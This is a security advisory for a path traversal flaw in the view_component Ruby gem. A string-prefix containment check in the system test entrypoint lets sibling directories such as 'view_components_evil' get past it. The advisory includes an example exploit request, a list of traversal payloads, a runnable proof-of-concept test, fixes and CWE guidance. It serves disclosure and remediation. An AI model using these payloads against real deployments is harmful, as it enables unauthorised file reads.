Skip to content

GHSA-hg3h-g7xc-f7vp CVE-2026-44837

view_component: System Test Entry Point Path Check Allows Sibling Directory Escape

High RubyGems
Severity
5.9 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.41%
Chance of exploitation in the next 30 days. Higher than 35.47% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-187 Partial String Comparison
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
4.9.0
Upgrade view_component to this version or later

Description

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

render file: @path

Exploit Flow

Example request:

GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

  1. base_path resolves to .../tmp/view_components.
  2. The payload resolves to .../tmp/view_components_evil/secret.html.erb.
  3. That path is outside the intended temp directory.
  4. The string prefix check still passes.
  5. Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
    parent_dir = File.dirname(base_dir)
    sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
    outside_file = File.join(sibling_dir, "secret.html.erb")

    FileUtils.mkdir_p(sibling_dir)
    File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

    get "/_system_test_entrypoint", params: {
      file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
    }

    assert_response :success
    assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
  ensure
    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
  end
end

Run:

bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)

  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

  @path = path.to_s
end

Or require a separator boundary:

allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

  • A normal temp file inside tmp/view_components
  • ../../README.md
  • ../view_components_evil/secret.html.erb
  • A symlink inside the temp directory that resolves outside it

Affected versions

RubyGems

PackageVulnerableFixed in
view_component
>= 3.0.0, < 4.9.0
4.9.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

view_component RubyGems → 4.9.0

bundler
bundle update view_component # Gemfile: gem "view_component", ">= 4.9.0"

Severity breakdown

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-187: Partial String Comparison

The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

How to prevent it
  • Testing: Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9h85-g7w3-rh49
ViewComponent: Reused Component Instances Retain Stale Render Context
Medium Also affects view_component
GHSA-97jw-64cj-jc58
ViewComponent: around_render HTML-Safety Bypass
High Also affects view_component
GHSA-7f3r-gwc9-2995
view_component: Preview Route Can Dispatch Inherited Helper Methods
Medium Also affects view_component
GHSA-wf2x-8w6j-qw37
view_component Cross-site Scripting vulnerability
Medium Also affects view_component
GHSA-cm9w-c4rj-r2cf
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in view_component
High Also affects view_component
GHSA-376h-93r7-7g6f
Astro: Authorization bypass from missing path-segment boundary check when stripping the configured base
Medium Same weakness, CWE-187
GHSA-h2jq-g4cq-5ppq
Rack::Static prefix matching can expose unintended files under the static root
High Same weakness, CWE-187
GHSA-v23v-6jw2-98fq
Authz zero length regression
Critical Same weakness, CWE-187
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor